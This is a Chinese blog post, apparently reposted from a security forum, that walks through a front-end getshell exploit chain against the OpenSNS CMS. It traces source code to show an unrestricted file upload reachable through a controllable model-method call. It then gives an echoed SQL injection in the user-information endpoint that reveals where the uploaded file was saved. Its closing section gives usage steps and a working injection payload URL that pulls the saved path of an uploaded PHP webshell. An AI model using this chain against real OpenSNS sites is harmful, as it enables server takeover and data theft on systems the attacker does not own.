opensns最新版前台getshell

from [90sec](https://forum.90sec.org/forum.php?mod=viewthread&tid=10250 "90sec") 我们先看漏洞触发点: 在/Application/Weibo/Controller/ShareController.class.php中第20行: ```php public function doSendShare(){ $aContent = I('post.content','','text'); $aQuery = I('post.query','','text'); parse_str($aQuery,$feed_data); if(empty($aContent)){ $this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_')); } if(!is_login()){ $this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_')); } $new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']); $user = query_user(array('nickname'), is_login()); $info = D('Weibo/Share')->getInfo($feed_data); ``` 可以看到这里的$aContent和$aQuery都是我们POST进来的,是我们可控的,然后可以看到将$aQuery这个变量做了一个parse_str()操作。 ```php parse_str($aQuery,$feed_data); ``` 然后我们开始跟踪$feed_data这个变量。可以看到最后一行将$feed_data这个变量带入到了getInfo()这个函数中。我们追踪一下该函数: 在/Application/Weibo/Model/ShareModel.class.php中: ```php public function getInfo($param) { $info = array(); if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){ $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']); } return $info; } ``` 可以看到这里的形参$param就是我们传进来的$feed_data实参。这里有一个操作很有意思: ```php $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']); ```其中$param['app']以及$param['model'],$param['method'],$param['id']都是我们可控的。 其中这个D()函数是thinkphp中的一个实例化类型的函数,我们追踪一下: 在/ThinkPHP/Common/functions.php中第616行: ```php function D($name = '', $layer = '') { if (empty($name)) return new Think\Model; static $_model = array(); $layer = $layer ? : C('DEFAULT_M_LAYER'); if (isset($_model[$name . $layer])) return $_model[$name . $layer]; $class = parse_res_name($name, $layer); if (class_exists($class)) { $model = new $class(basename($name)); } elseif (false === strpos($name, '/')) { // 自动加载公共模块下面的模型 if (!C('APP_USE_NAMESPACE')) { import('Common/' . $layer . '/' . $class); } else { $class = '\\Common\\' . $layer . '\\' . $name . $layer; } $model = class_exists($class) ? new $class($name) : new Think\Model($name); } else { \Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE); $model = new Think\Model(basename($name)); } $_model[$name . $layer] = $model; return $model; } ``` 这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。那么可以看到如果$layer为空的话,就取C('DEFAULT_M_LAYER')的值,那么这个值是多少呢? 在/ThinkPHP/Conf/convention.php中有: ```php 'DEFAULT_M_LAYER' => 'Model', // 默认的模型层名称 ``` 那么就是取默认的值,也就是Model。 那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。 然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。 如上文所说: ```php $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']); ``` 其中$param['method']就是我们要调用的方法名称,$param['id']就是该方法的第一个参数。 好了,大概意思就是我们能够一个实例化一个名称为xxxxxxModel的类,并调用它其中的一个任意一个public方法。 刚开始以为这能够造成一个任意代码执行啥的..结果找了很久发现并不能实例化到任意代码执行的那个类。所以又得重新找其它类。然后找来找去找到了在/Application/Home/Model/FileModel.class.php中的FileModel类。 这个类里面有一个文件上传函数: ```php public function upload($files, $setting, $driver = 'Local', $config = null){ /* 上传文件 */ $setting['callback'] = array($this, 'isFile'); $Upload = new \Think\Upload($setting, $driver, $config); $info = $Upload->upload($files); /* 设置文件保存位置 */ $this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT); if($info){ //文件上传成功,记录文件信息 foreach ($info as $key => &$value) { /* 已经存在文件记录 */ if(isset($value['id']) && is_numeric($value['id'])){ continue; } /* 记录文件信息 */ if($this->create($value) && ($id = $this->add())){ $value['id'] = $id; } else { //TODO: 文件上传成功,但是记录文件信息失败,需记录日志 unset($info[$key]); } } return $info; //文件上传成功 } else { $this->error = $Upload->getError(); return false; } } ``` 那么意思是我们就能够调用这个文件上传函数了,我们看一下这个文件上传函数: 其中上传文件驱动默认的是Local,也就是说一定是存储在本地的。 然后$config没有进行赋值,默认是null. 然后在第三行调用了upload()函数,我们追踪一下: 在/ThinkPHP/Library/Think/Upload.class.php中第128行: ```php public function upload($files = '') { if ('' === $files) { $files = $_FILES; } if (empty($files)) { $this->error = '没有上传的文件!'; return false; } /* 检测上传根目录 */ if (!$this->uploader->checkRootPath()) { $this->error = $this->uploader->getError(); return false; } /* 检查上传目录 */ if (!$this->uploader->checkSavePath($this->savePath)) { $this->error = $this->uploader->getError(); return false; } /* 逐个检测并上传文件 */ $info = array(); if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); } // 对上传文件数组信息处理 $files = $this->dealFiles($files); foreach ($files as $key => $file) { if (!isset($file['key'])) $file['key'] = $key; /* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */ if (isset($finfo)) { $file['type'] = finfo_file($finfo, $file['tmp_name']); } /* 获取上传文件后缀,允许上传无后缀文件 */ $file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION); /* 文件上传检测 */ if (!$this->check($file)) { continue; } /* 获取文件hash */ if ($this->hash) { $file['md5'] = md5_file($file['tmp_name']); $file['sha1'] = sha1_file($file['tmp_name']); } /* 调用回调函数检测文件是否存在 */ $data = call_user_func($this->callback, $file); if ($this->callback && $data) { $drconfig = $this->driverConfig; $fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']); if (file_exists('.' . $data['path'])) { $info[$key] = $data; continue; } elseif ($this->uploader->info($fname)) { $info[$key] = $data; continue; } elseif ($this->removeTrash) { call_user_func($this->removeTrash, $data); //删除垃圾据 } } /* 生成保存文件名 */ $savename = $this->getSaveName($file); if (false == $savename) { continue; } else { $file['savename'] = $savename; //$file['name'] = $savename; } /* 检测并创建子目录 */ $subpath = $this->getSubPath($file['name']); if (false === $subpath) { continue; } else { $file['savepath'] = $this->savePath . $subpath; } /* 对图像文件进行严格检测 */ $ext = strtolower($file['ext']); if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) { $imginfo = getimagesize($file['tmp_name']); if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) { $this->error = '非法图像文件!'; continue; } } $file['rootPath'] = $this->config['rootPath']; $name = get_addon_class($this->driver); if (class_exists($name)) { $class = new $name(); if (method_exists($class, 'uploadDealFile')) { $class->uploadDealFile($file); } } /* 保存文件 并记录保存成功的文件 */ if ($this->uploader->save($file, $this->replace)) { unset($file['error'], $file['tmp_name']); $info[$key] = $file; } else { $this->error = $this->uploader->getError(); } } if (isset($finfo)) { finfo_close($finfo); } return empty($info) ? false : $info; } ``` 这就是thinkphp内置的upload()函数了,我们主要看一下以下几点: ```php if ('' === $files) { $files = $_FILES; } ``` 如果$files是空的话,它会默认检查整个$_FILES数组,意味着不需要我们设定特定上传文件表单名。 然后重点就是对于后缀检测的这里: ```php /* 文件上传检测 */ if (!$this->check($file)) { continue; } 调用了check()函数,我们追踪一下: 在该文件的294行: private function check($file) { /* 文件上传失败,捕获错误代码 */ if ($file['error']) { $this->error($file['error']); return false; } /* 无效上传 */ if (empty($file['name'])) { $this->error = '未知上传错误!'; } /* 检查是否合法上传 */ if (!is_uploaded_file($file['tmp_name'])) { $this->error = '非法上传文件!'; return false; } /* 检查文件大小 */ if (!$this->checkSize($file['size'])) { $this->error = '上传文件大小不符!'; return false; } /* 检查文件Mime类型 */ //TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream if (!$this->checkMime($file['type'])) { $this->error = '上传文件MIME类型不允许!'; return false; } /* 检查文件后缀 */ if (!$this->checkExt($file['ext'])) { $this->error = '上传文件后缀不允许'; return false; } /* 通过检测 */ return true; } ``` 首先看一下mimel类型的检测,调用了checkmime()函数,我们追踪一下: 在该文件的380行: ```php private function checkMime($mime) { return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes); } 可以看到如果$this->config['mimes']为空的话,就直接返回true了。通过上文可以知道,$config没赋值的话就是为默认的的, 而默认的$config是: private $config = array( 'mimes' => array(), //允许上传的文件MiMe类型 'maxSize' => 0, //上传的文件大小限制 (0-不做限制) 'exts' => array(), //允许上传的文件后缀 'autoSub' => true, //自动子目录保存文件 'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组 'rootPath' => './Uploads/', //保存根路径 'savePath' => '', //保存路径 'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组 'saveExt' => '', //文件保存后缀,空则使用原后缀 'replace' => false, //存在同名是否覆盖 'hash' => true, //是否生成hash编码 'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组 'driver' => '', // 文件上传驱动 'driverConfig' => array(), // 上传驱动配置 ); ``` 所以这里肯定是返回true的,所以mime类型检测绕过了。 然后我们开始看后缀检测: 调用了一个checkExt()函数,我们追踪一下: 在389行: ```php private function checkExt($ext) { return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts); } ``` 可以看到跟上面的一样,由于我们没有设定限定后缀,所以对于任意后缀的文件都是开放通行的,所以看到这里,就知道了,可以造成一个任意文件上传的漏洞。 但是这里有另外一个问题,就是我们并不知道上传上去的路径是多少,我们可以看一下这里对于上传后的文件名是怎么处理的: ```php $savename = $this->getSaveName($file); ``` 调用了一个getSaveName()函数,我们追踪一下:在第398行: ```php private function getSaveName($file) { $rule = $this->saveName; if (empty($rule)) { //保持文件名不变 /* 解决pathinfo中文文件名BUG */ $filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1); $savename = $filename; } else { $savename = $this->getName($rule, $file['name']); if (empty($savename)) { $this->error = '文件命名规则错误!'; return false; } } ``` 我们看一下我们的$this->saveName为多少,在默认的$config中有定义: ```php 'saveName' => array('uniqid', ''), ``` 所以不为空,我们就没办法保证保持文件名不变了,肯定会被重命名的,那么又调用了一个getName()函数,我们追踪一下:在该文件的第444行: ```php private function getName($rule, $filename) { $name = ''; if (is_array($rule)) { //数组规则 $func = $rule[0]; $param = (array)$rule[1]; foreach ($param as &$value) { $value = str_replace('__FILE__', $filename, $value); } $name = call_user_func_array($func, $param); } elseif (is_string($rule)) { //字符串规则 if (function_exists($rule)) { $name = call_user_func($rule); } else { $name = $rule; } } return $name; } ``` 可以看到$name的赋值结果了..就是调用了uniqid()这个函数,而这个函数很不好处理: uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。我的天,以微秒计的唯一ID,就算要爆破的话,都不好爆破。所以得另想办法。 我们回到FileModel类的upload函数再去看一看: ```php if($info){ //文件上传成功,记录文件信息 foreach ($info as $key => &$value) { /* 已经存在文件记录 */ if(isset($value['id']) && is_numeric($value['id'])){ continue; } /* 记录文件信息 */ if($this->create($value) && ($id = $this->add())){ $value['id'] = $id; ``` 可以发现,当我们上传完东西后,是会把我们上传的信息给记录下来的,而记录在哪里呢?没错,就是在数据库当中的ocenter_file表里面,我们可以去看一下: ![](http://0day5.com/usr/uploads/2017/02/3527755609.png) 可以看到我们上传的东西,这里都会有记录,包括文件保存的位置和保存的文件名,都有。 所以如果我们想知道上传后的位置和文件名,只需要我们能够从数据库中得到数据就可以了,那么怎么得到呢? 没错,就是通过注入! 注入倒是好挖,但是我们需要方便快捷一点,所以我们就需要一个能够回显的注入。 所以我又挖了一个这个cms的注入漏洞带回显的,在Application/Ucenter/Controller/IndexController.class.php中的information函数中: ```php public function information($uid = null) { //调用API获取基本信息 //TODO tox 获取省市区数据 $user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid); 可以看到把$uid带入到了query_user函数中,我们追踪一下该函数,在/Application/Common/Model/UserModel.class.php中: function query_user($pFields = null, $uid = 0) { $user_data = array();//用户数据 $fields = $this->getFields($pFields);//需要检索的字段 $uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID //获取缓存过的字段,尽可能在此处命中全部数据 list($cacheResult, $fields) = $this->getCachedFields($fields, $uid); $user_data = $cacheResult;//用缓存初始用户数据 //从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据 list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid); ``` 这里有个细节很重要,就是看$uid重新赋值的时候: ```php $uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID ``` 它验证的是intval($uid)是否为0,但是取值的时候并没有intval,所以这个地方注入语句不会被过滤掉,然后我们跟进getNeddQueryData这个函数看看: ```php private function getNeedQueryData($user_data, $fields, $uid) { $need_query = array_intersect($this->table_fields, $fields); //如果有需要检索的数据 if (!empty($need_query)) { $db_prefix=C('DB_PREFIX'); $query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1"); $query_result = $query_results[0]; $user_data = $this->combineUserData($user_data, $query_result); $fields = $this->popGotFields($fields, $need_query); $this->writeCache($uid, $query_result); } return array($user_data, $fields); } ``` 可以看到,直接给$uid拼接到sql语句中去了,所以造成了一个注入,并且这个注入是有回显的,非常方便。 ### 利用方式: 在首先,我们注册一个前台用户并登录上去(这种sns系统肯定会提供前台注册啦) 然后我们开始构造上传表单: ```html

``` 然后我们开始上传我们的webshell: 这里的两个框框里的数据都不要改,直接上传我们的shell就可以了: ![](http://0day5.com/usr/uploads/2017/02/1723266436.png) 然后我们点击上传,就可以成功上传了,但是上传后是不会有路径回显的,所以我们下一步,开始注入: payload: ``` http://0day5.com/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html ``` 就能得到我们shell的保存路径了,如图: ![](http://0day5.com/usr/uploads/2017/02/3096223457.png) 那么最终shell的路径就是: http://localhost/Uploads/2017-01-20/5881ce0db9438.php

发表评论